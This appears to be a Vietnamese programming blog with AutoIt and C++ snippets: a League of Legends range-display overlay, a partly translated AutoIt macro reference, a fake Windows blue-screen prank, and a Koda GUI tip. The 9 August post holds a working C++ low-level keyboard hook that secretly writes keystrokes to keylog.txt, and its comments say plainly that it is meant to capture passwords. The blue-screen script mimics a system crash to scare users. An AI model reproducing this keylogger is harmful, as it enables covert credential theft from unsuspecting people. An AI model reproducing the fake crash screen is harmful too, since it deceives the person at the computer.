click hộ phát

Thứ Bảy, 12 tháng 8, 2017

Liên minh huyền thoại hà tuấn đạt

 
 đây là source code của hiển thị tầm LOL
 
https://autoitvn.com/threads/lien-minh-huyen-thoai-tool-hien-tam-ban-xa-thu-co-source.1033/
 
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <WinAPI.au3>
#include <Array.au3>
#include <Math.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Lien minh huyen thoai - Tam ban", 350, 42, 192, 124)
GUISetFont(10, 400, 0, "MS Sans Serif")
$Button1 = GUICtrlCreateButton("Hien thi", 232, 0, 97, 33)
$Input1 = GUICtrlCreateInput("", 112, 8, 113, 24, BitOR($GUI_SS_DEFAULT_INPUT,$ES_CENTER,$ES_NOHIDESEL,$ES_NUMBER,$WS_CLIPSIBLINGS), BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE))
$Label1 = GUICtrlCreateLabel("Tam ban xa thu: ", 8, 8, 101, 20)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            GUICtrlSetState($Button1,$GUI_DISABLE)
            $AttackRange = GUICtrlRead($Input1)
            GUICtrlSetState($Button1,$GUI_ENABLE)
            ExitLoop(1)

    EndSwitch
WEnd

Global $Cat = 1
Global Const $pi = 3.14
Global $last_x,$last_y,$x,$y
Global $MRadius = _Max(@DesktopWidth,@DesktopHeight) *(40/1024)
Global $O1[3] = [@DesktopWidth*(456/1024),@DesktopHeight*399/1024,$AttackRange] ; Có 3 phần tử:
; 2 phần tử đầu là tọa độ ở giữa màn hình (tâm của hình elip)
; phần tử cuối là tầm đánh của xạ thủ
Global $O2[3] = [@DesktopWidth*(456/1024),@DesktopHeight*399/1024,$AttackRange-(5*$MRadius)]
Global $hGui = GUICreate("My Draw",@DesktopWidth,@DesktopHeight,0,0,$WS_POPUP, BitOR($WS_EX_LAYERED, $WS_EX_TOPMOST, $WS_EX_TOOLWINDOW))

GUISetBkColor(345)

$hChild=GUICtrlCreateGraphic(0,0,@DesktopWidth,@DesktopHeight)

$x = MouseGetPos(0)
$y = MouseGetPos(1)
GUICtrlSetGraphic($hChild,$GUI_GR_COLOR,345,345)
ElipByRadius($hChild,$x,$y,$MRadius)
$last_x = $x
$last_y = $y
GUICtrlSetGraphic($hChild, $GUI_GR_COLOR, 0x00ff00, 345)
GUICtrlSetGraphic($hChild, $GUI_GR_PENSIZE,3)
ElipByRadius($hChild,$O1[0],$O1[1],$O1[2])
GUICtrlSetBkColor($hChild, 345)

_WinAPI_SetLayeredWindowAttributes($hChild, 345, 255) ; making the GUI transparent
_WinAPI_SetParent($hChild, 0)
_WinAPI_SetLayeredWindowAttributes($hGui, 345, 255) ; making the GUI transparent
_WinAPI_SetParent($hGui, 0)
GUISetState(@SW_SHOW)

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            GUICtrlSetState($Button1,$GUI_DISABLE)
            $AttackRange = GUICtrlRead($Input1)
            GUICtrlSetState($Button1,$GUI_ENABLE)
            $Cat = 1
            $O1[2] = $AttackRange; Chỉnh sửa lại tầm bắn của xạ thủ
    EndSwitch
    $x = MouseGetPos(0)
    $y = MouseGetPos(1)
    If (Abs($last_x-$x) <= 10 And Abs($last_y-$y) <= 10) Then
        ContinueLoop(1)
    EndIf

    If $Cat = 1 Then
        $Cat = 0
        GUICtrlDelete($hChild)
        $hChild=GUICtrlCreateGraphic(0,0,@DesktopWidth,@DesktopHeight)
        GUICtrlSetGraphic($hChild, $GUI_GR_COLOR, 0x00ff00, 345)
        GUICtrlSetGraphic($hChild, $GUI_GR_PENSIZE,3)
        ElipByRadius($hChild,$O1[0],$O1[1],$O1[2])
        GUICtrlSetBkColor($hChild, 345)
        _WinAPI_SetLayeredWindowAttributes($hChild, 345, 255) ; making the GUI transparent
        _WinAPI_SetParent($hChild, 0)
    EndIf

    If (Cat($O1,$x,$y)=1 And Cat($O2,$x,$y)=0) Then
        $Cat = 1
        GUICtrlSetGraphic($hChild,$GUI_GR_COLOR,345,345)
        ElipByRadius($hChild,MouseGetPos(0),MouseGetPos(1),$MRadius)
        GUICtrlSetBkColor($hChild, 345)
    EndIf
    GUISetState(@SW_SHOW)
    $last_x = MouseGetPos(0)
    $last_y = MouseGetPos(1)
Wend

Func Cat($O,$x1,$y1) ; Kiểm tra xem nếu chuột có tọa độ ($x1,$y1) thì có cắt elip O hay không?
    $rx = ($O[2] * (@DesktopWidth/960)/2)
    $ry = ($O[2] * (@DesktopHeight/960)/2)
    $MinX = _Max(0,$O[0]-$rx)
    $MaxX = _Min($O[0]+$rx,@DesktopWidth)
    $MinY = _Max(0,$O[1]-$ry)
    $MaxY = _Min($O[1]+$ry,@DesktopHeight)
    For $i = _Max(0,$x1-$MRadius) To _Min($x1+$MRadius,@DesktopWidth) Step 1
        For $j = _Max(0,$y1-$MRadius) To _Min($y1+$MRadius,@DesktopHeight) Step 1
;~             If ($MinX<=$i And $i <=$MaxX And $MinY<=$j And $j<=$MaxY) Then
            If (Sqr($i-$O[0])/Sqr($rx)+Sqr($j-$O[1])/Sqr($ry)-1<=0) Then
;~                 MsgBox(0,0,$MinX&' '&$MaxX&' '&$MinY&' '&$MaxY&' '&$x1&' '&$y1)
                return 1
            EndIf
        Next
    Next
    return 0
EndFunc

Func ElipByRadius($hGui,$x,$y,$r) ; x, y là tâm của đường tròn
    $rx = $r * (@DesktopWidth/960)
    $ry = $r * (@DesktopHeight/960)
    $x -= ($rx/2)
    $y -= ($ry/2)
    GUICtrlSetGraphic($hGui, $GUI_GR_ELLIPSE, $x,$y,$rx,$ry)
EndFunc

Func Sqr($a)
    return $a*$a
EndFunc

Func Bang ($a,$b)
    return Abs($a-$b)>=0.00001
EndFunc

Thứ Sáu, 11 tháng 8, 2017

Tất cả macro reference của autoit (bản tiếng việt) hà tuấn đạt

@AppDataCommonDir Đường dẫn ứng dụng
@AppDataDir Path to current user's Roaming Application Data
@AutoItExe The full path and filename of the AutoIt executable currently running. For compiled scripts it is the path of the compiled script; for .a3x and .au3 files it is the path of the interpreter running the file.
@AutoItPID giả về process ID của ứng dụng
@AutoItVersion giá trị của phiên bản autoit
@AutoItX64 Win 64bit sẽ trả về giá trị là 1
@COM_EventObj Object the COM event is being fired on. Only valid in a COM event function.
@CommonFilesDir Path to Common Files folder
@Compiled Returns 1 if script is a compiled executable or an .a3x file; returns 0 if an .au3 file.
@ComputerName Tên của máy tính
@ComSpec Value of %COMSPEC%, the SPECified secondary COMmand interpreter;
primary for command line uses, e.g. Run(@ComSpec & " /k help | more")
@CPUArch giá trị "X86" nếu cpu 32-bit CPU and "X64" nếu CPU là 64-bit.
@CR Xuống dòng.
@CRLF là sự kết hợp giữa @CR và @LF
@DesktopCommonDir Đường dẫn desktop
@DesktopDepth Depth of the primary display in bits per pixel.
@DesktopDir Đường dẫn của user
@DesktopHeight Độ cao của màn hình tính theo pixel
@DesktopRefresh Refresh rate of the primary display in hertz.
@DesktopWidth Giá trị chiều rộng của màn hình
@DocumentsCommonDir Đường dẫn của documents
@error Tình trạng của flag error
@exitCode Exit code as set by Exit statement.
@exitMethod Exit method. See the function OnAutoItExitRegister().
@extended Extended function return - used in certain functions such as StringReplace().
@FavoritesCommonDir Path to Favorites
@FavoritesDir Path to current user's Favorites
@GUI_CtrlHandle Last click GUI Control handle. Only valid in an event Function. See the GUICtrlSetOnEvent() function.
@GUI_CtrlId Last click GUI Control identifier. Only valid in an event Function. See the GUICtrlSetOnEvent() function.
@GUI_DragFile Filename of the file being dropped. Only valid on Drop Event. See the GUISetOnEvent() function.
@GUI_DragId Drag GUI Control identifier. Only valid on Drop Event. See the GUISetOnEvent() function.
@GUI_DropId Drop GUI Control identifier. Only valid on Drop Event. See the GUISetOnEvent() function.
@GUI_WinHandle Last click GUI window handle. Only valid in an event Function. See the GUICtrlSetOnEvent() function.
@HomeDrive Drive letter of drive containing current user's home directory.
@HomePath Directory part of current user's home directory. To get the full path, use in conjunction with @HomeDrive.
@HomeShare Server and share name containing current user's home directory.
@HotKeyPressed Last hotkey pressed. See the HotKeySet() function.
@HOUR Hours value of clock in 24-hour format. Range is 00 to 23
@IPAddress1 IP address of first network adapter. Tends to return 127.0.0.1 on some computers.
@IPAddress2 IP address of second network adapter. Returns 0.0.0.0 if not applicable.
@IPAddress3 IP address of third network adapter. Returns 0.0.0.0 if not applicable.
@IPAddress4 IP address of fourth network adapter. Returns 0.0.0.0 if not applicable.
@KBLayout Returns code denoting Keyboard Layout. See Appendix for possible values.
@LF Line feed, Chr(10); occasionally used for line breaks.
@LocalAppDataDir Path to current user's Local Application Data
@LogonDNSDomain Logon DNS Domain.
@LogonDomain Logon Domain.
@LogonServer Logon server.
@MDAY Current day of month. Range is 01 to 31
@MIN Minutes value of clock. Range is 00 to 59
@MON Current month. Range is 01 to 12
@MSEC Milliseconds value of clock. Range is 000 to 999. The update frequency of this value depends on the timer resolution of the hardware and may not update every millisecond.
@MUILang Returns code denoting Multi Language if available (Vista is OK by default). See Appendix for possible values.
@MyDocumentsDir Path to My Documents target
@NumParams Number of parameters used in calling the user function.
@OSArch Returns one of the following: "X86", "IA64", "X64" - this is the architecture type of the currently running operating system.
@OSBuild Returns the OS build number. For example, Windows 2003 Server returns 3790
@OSLang Returns code denoting OS Language. See Appendix for possible values.
@OSServicePack Service pack info in the form of "Service Pack 3".
@OSType Returns "WIN32_NT" for XP/2003/Vista/2008/Win7/2008R2/Win8/2012/Win8.1/2012R2.
@OSVersion Returns one of the following: "WIN_10", "WIN_81", "WIN_8", "WIN_7", "WIN_VISTA", "WIN_XP", "WIN_XPe",
    for Windows servers: "WIN_2016", "WIN_2012R2", "WIN_2012", "WIN_2008R2", "WIN_2008", "WIN_2003"".
@ProgramFilesDir Path to Program Files folder
@ProgramsCommonDir Path to Start Menu's Programs folder
@ProgramsDir Path to current user's Programs (folder on Start Menu)
@ScriptDir Directory containing the running script. Only includes a trailing backslash when the script is located in the root of a drive.
@ScriptFullPath Equivalent to @ScriptDir & "\" & @ScriptName
@ScriptLineNumber Line number being executed - useful for debug statements (e.g. location of function call). Only significant in uncompiled scripts - note that #include files return their internal line numbering
@ScriptName Filename of the running script.
@SEC Seconds value of clock. Range is 00 to 59
@StartMenuCommonDir Path to Start Menu folder
@StartMenuDir Path to current user's Start Menu
@StartupCommonDir Path to Startup folder
@StartupDir current user's Startup folder
@SW_DISABLE Disables the window.
@SW_ENABLE Enables the window.
@SW_HIDE Hides the window and activates another window.
@SW_LOCK Lock the window to avoid repainting.
@SW_MAXIMIZE Activates the window and displays it as a maximized window.
@SW_MINIMIZE Minimizes the specified window and activates the next top-level window in the Z order.
@SW_RESTORE Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window.
@SW_SHOW Activates the window and displays it in its current size and position.
@SW_SHOWDEFAULT Sets the show state based on the SW_ value specified by the program that started the application.
@SW_SHOWMAXIMIZED Activates the window and displays it as a maximized window.
@SW_SHOWMINIMIZED Activates the window and displays it as a minimized window.
@SW_SHOWMINNOACTIVE Displays the window as a minimized window. This value is similar to @SW_SHOWMINIMIZED, except the window is not activated.
@SW_SHOWNA Displays the window in its current size and position. This value is similar to @SW_SHOW, except the window is not activated.
@SW_SHOWNOACTIVATE Displays a window in its most recent size and position. This value is similar to @SW_SHOWNORMAL, except the window is not activated.
@SW_SHOWNORMAL Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time.
@SW_UNLOCK Unlock window to allow painting.
@SystemDir Path to the Windows' System (or System32) folder.
@TAB Tab character, Chr(9)
@TempDir Path to the temporary files folder.
@TRAY_ID Last clicked item identifier during a TraySetOnEvent() or TrayItemSetOnEvent() action.
@TrayIconFlashing Returns 1 if tray icon is flashing; otherwise, returns 0.
@TrayIconVisible Returns 1 if tray icon is visible; otherwise, returns 0.
@UserName ID of the currently logged on user.
@UserProfileDir Path to current user's Profile folder.
@WDAY Numeric day of week. Range is 1 to 7 which corresponds to Sunday through Saturday.
@WindowsDir Path to Windows folder
@WorkingDir Current/active working directory. Only includes a trailing backslash when the script is located in the root of a drive.
@YDAY Current day of year. Range is 001 to 366 (or 001 to 365 if not a leap year)
@YEAR Current four-digit year

Thứ Năm, 10 tháng 8, 2017

màn hình xanh chết chóc

     #include <WinAPI.au3>
    #include <WindowsConstants.au3>
    #include <GUIConstantsEx.au3>

    _WinAPI_ShowCursor(False)

    HotKeySet("{F5}", "ExitBlueScr")
    Global $DesktopWidth = @DesktopWidth, $DesktopHeight = @DesktopHeight
    Global $DesktopDepth = @DesktopDepth, $DesktopRefresh = @DesktopRefresh

    ;Beep(1900,800)

    $GUI = GUICreate("", @DesktopWidth + 10, @DesktopHeight + 20)
    WinSetOnTop($GUI, '', 1)
    GUISetBkColor(0x0000A0)
    $Label = GUICtrlCreateLabel("A problem has been detected and Windows has been shut down to prevent damage" & @CRLF & _
            "to your computer." & @CRLF & _
            @CRLF & _
            "The problem seems to be caused by the following file: SPCMDCON.SYS" & @CRLF & _
            @CRLF & _
            "PAGE_FAULT_IN_NONPAGED_AREA" & @CRLF & _
            @CRLF & _
            "If this is the first time you've seen this stop error screen," & @CRLF & _
            "restart your computer. If this screen appears again, follow" & @CRLF & _
            "these steps:" & @CRLF & _
            @CRLF & _
            "Check to make sure any new hardware or software is properly installed." & @CRLF & _
            "If this is a new installation, ask your hardware or software manufacturer" & @CRLF & _
            "for any Windows updates you might need." & @CRLF & _
            @CRLF & _
            "If problems continue, disable or remove any newly installed hardware" & @CRLF & _
            "or software. Disable BIOS memory options such as caching or shadowing." & @CRLF & _
            "If you need to use Safe Mode to remove or disable components, restart" & @CRLF & _
            "your computer, press F8 to select Advanced Startup Options, and then" & @CRLF & _
            "select Safe Mode." & @CRLF & _
            @CRLF & _
            "Technical information:" & @CRLF & _
            @CRLF & _
            "*** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x00000000)" & @CRLF & _
            @CRLF & _
            @CRLF & _
            "***  SPCMDCON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c", 10, 25, @DesktopWidth - 10, @DesktopHeight - 10)
    GUICtrlSetFont(-1, 17, 100, -1, "Lucida Console")
    GUICtrlSetColor(-1, 0xD8D8D8)
    GUICtrlSetOnEvent(-1, "None")
    GUISetState()


    While 1

    WEnd


    Func None()

    EndFunc   ;==>None

    Func ExitBlueScr()
        _WinAPI_ShowCursor(True)
        Exit
    EndFunc   ;==>ExitBlueScr

Thứ Tư, 9 tháng 8, 2017

Đọc kí tự paste vào file -> troll gian các kí tự đặc biệt

  1. #include <windows.h>
  2. #include <fstream>
  3. using namespace std;
  4. #ifdef _DEBUG
  5. #define new DEBUG_NEW
  6. #undef THIS_FILE
  7. static char THIS_FILE[] = __FILE__;
  8. #endif
  9. #pragma data_seg(".SHARDAT")
  10. char *SaveFile()
  11. {
  12.     char s[255];
  13.     static char pth[255];
  14.     GetTempPath(255,pth);
  15.     lstrcpy(s,"keylog.txt");
  16.     lstrcat(pth,s);
  17.     return pth;
  18. }
  19. //Mo File
  20. fstream File;//khai bao File
  21. LRESULT _stdcall CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
  22. {
  23.     char ch,chuoi[20];
  24.     if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //neu ban an phim
  25.     {
  26.         if ((wParam==VK_LEFT )|| (wParam==VK_HOME )|| (wParam==VK_END )||(wParam==VK_NEXT )||(wParam==VK_UP)|| (wParam==VK_RIGHT)||(wParam==VK_DOWN)||(wParam==VK_DELETE)||(wParam==VK_LBUTTON)||(wParam==VK_RBUTTON )||(wParam==VK_MENU)||(wParam==VK_CANCEL )||(wParam==VK_CONTROL)||(wParam==VK_SHIFT)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))||(wParam==VK_TAB)||(wParam==VK_CLEAR)||(wParam==VK_BACK))
  27.         // ghi chu VK_RETURN : ENTER , VK_TAB : tab ,day la ma phim ao chi tiet doc
  28.          // ms-help://MS.MSDNQTR.v90.en/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.htm
  29.         {
  30.             File.open(SaveFile(),ios::out|ios::app);
  31.             if (wParam==VK_RETURN)  //neu la phim Enter thi xuong dong
  32.             {
  33.                  ch = '\n';//gan ky tu xuong dong
  34.                  File.write(&ch,sizeof(ch)); //ghi ra
  35.             }
  36.             else if (wParam==VK_TAB)  //neu la dau TAB
  37.             {
  38.                 lstrcpy(chuoi,"{TAB}");
  39.                 File<<chuoi;  //ghi ra nit TAB de Biet khi danh password :D
  40.             }  
  41.             else if (wParam==VK_CLEAR)
  42.             {
  43.                 lstrcpy(chuoi,"{CLEAR}");
  44.                 File<<chuoi;
  45.             }
  46.             else if (wParam==VK_BACK)
  47.             {  
  48.                 lstrcpy(chuoi,"{BACK}");  //neu xoa thi bao 1 tieng,de phong luc danh password sai ho danh lai
  49.                 File<<chuoi;
  50.             }
  51.             else if(wParam==VK_SPACE)
  52.             {
  53.                 lstrcpy(chuoi," ");  // nut cach
  54.                 File<<chuoi;
  55.             }
  56.             else if (wParam==VK_SHIFT)
  57.             {
  58.                 lstrcpy(chuoi,"{SHIFT}");  // shift
  59.                 File<<chuoi;
  60.             }
  61.             else if (wParam==VK_CONTROL)
  62.             {
  63.                 lstrcpy(chuoi,"{CONTROL}");  // nut control
  64.                 File<<chuoi;
  65.             }
  66.             else if (wParam==VK_LEFT )
  67.             {
  68.                 lstrcpy(chuoi,"{<-}");  // nut sang trai
  69.                 File<<chuoi;
  70.             }
  71.             else if (wParam==VK_HOME  )
  72.             {
  73.                 lstrcpy(chuoi,"{Home}");  // nut Home
  74.                 File<<chuoi;
  75.             }
  76.             else if (wParam==VK_END )
  77.             {
  78.                 lstrcpy(chuoi,"{END}");  //
  79.                 File<<chuoi;
  80.             }
  81.             else if ((wParam==VK_NEXT ))
  82.             {
  83.                 lstrcpy(chuoi,"{PAGEDOWN}");  //
  84.                 File<<chuoi;
  85.             }
  86.             else if ((wParam==VK_UP) )
  87.             {
  88.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
  89.                 File<<chuoi;
  90.             }
  91.             else if ((wParam==VK_RIGHT))
  92.             {
  93.                 lstrcpy(chuoi,"{->}");  //
  94.                 File<<chuoi;
  95.             }
  96.             else if ((wParam==VK_DOWN))
  97.             {
  98.                 lstrcpy(chuoi,"{MuiTenXuong}");  //
  99.                 File<<chuoi;
  100.             }
  101.             else if ((wParam==VK_DELETE))
  102.             {
  103.                 lstrcpy(chuoi,"{Delete}");  //
  104.                 File<<chuoi;
  105.             }
  106.             else if ((wParam==VK_LBUTTON))
  107.             {
  108.                 lstrcpy(chuoi,"{ChuotTrai}");  //
  109.                 File<<chuoi;
  110.             }
  111.             else if ((wParam==VK_RBUTTON ))
  112.             {
  113.                 lstrcpy(chuoi,"{ChuotPhai}");  //
  114.                 File<<chuoi;
  115.             }
  116.             else if ((wParam==VK_MENU))
  117.             {
  118.                 lstrcpy(chuoi,"{ALT}");  //
  119.                 File<<chuoi;
  120.             }
  121.             else if ((wParam==VK_CANCEL ))
  122.             {
  123.                 lstrcpy(chuoi,"{Break}");  //
  124.                 File<<chuoi;
  125.             }
  126.             else if(wParam>=0x30&&wParam<= 0x5A)  //neu la cac nut tu 0 --> 9 hoac tu a -> Z
  127.             {
  128.                  BYTE ks[256];  
  129.                  GetKeyboardState(ks);  //lay ma Nut bamso
  130.                  WORD w;
  131.                  UINT scan;
  132.                  scan=0;
  133.                  ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii
  134.                  ch = char(w);
  135.                  File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc
  136.             }
  137.             //khong ghi lai cac nut khac khong lien quan den viec danh password
  138.             File.close();//dong File,tiep tuc chu trinh( moi khi bam 1 phim lai mo File )
  139.         }
  140.     }
  141.     LRESULT RetVal = CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc
  142.     return RetVal;
  143. }

Thứ Hai, 7 tháng 8, 2017

Tại sao gui koda không hoạt động

Trong file koda nếu không hoạt động thì phải change mode của gui để hoạt động
đầu file
Opt("GUIOnEventMode", 1) ; Change to OnEvent mode

Sau khi tạo form thì bạn cần tạo set on event close
$Form1 = GUICreate("Form1", 615, 438, 192, 124)
GUISetOnEvent($GUI_EVENT_CLOSE, "SpecialEvents")

Func SpecialEvents()
   $click = MsgBox($MB_OKCANCEL,"","Thoát nhé babe")
   If $click = 2 Then
   EndIf
   If $click = 1 Then
      Exit
   EndIf
EndFunc   ;==>SpecialEvents